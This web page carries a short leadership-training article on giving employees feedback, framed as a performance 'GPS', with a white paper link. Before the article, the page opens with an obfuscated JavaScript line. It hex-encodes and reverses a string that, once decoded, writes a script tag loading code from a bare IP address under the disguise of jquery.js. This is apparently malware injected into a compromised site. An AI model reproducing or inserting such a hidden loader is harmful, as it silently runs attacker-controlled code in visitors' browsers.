var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Effective Feedback – Unleash your Leadership Potential

Effective Feedback

By Terence Traut, Entelechy, Inc.

CAIR_vertFeedback is the breakfast of champions!

Effective feedback is like the GPS on your employee’s performance journey. You provide ongoing information — both positive and constructive — to help your employee.

Wouldn’t it be great if employees had their own internal performance GPS that would let them know immediately when they missed a turn on the road to achieving their goals? Here’s current performance and there’s desired performance. On track…on track… oops, recalculating!

It’s a great idea, but the reality is our employees don’t always keep on track on their own. FEEDBACK is our employee’s performance GPS and it’s up to us to provide it — and provide it in a way that actually results in change.

Did you know that most employees — when asked — cited lack of direction and unclear expectations as the primary reason they couldn’t perform?

View/Download this White Paper

Author: STEP Consulting

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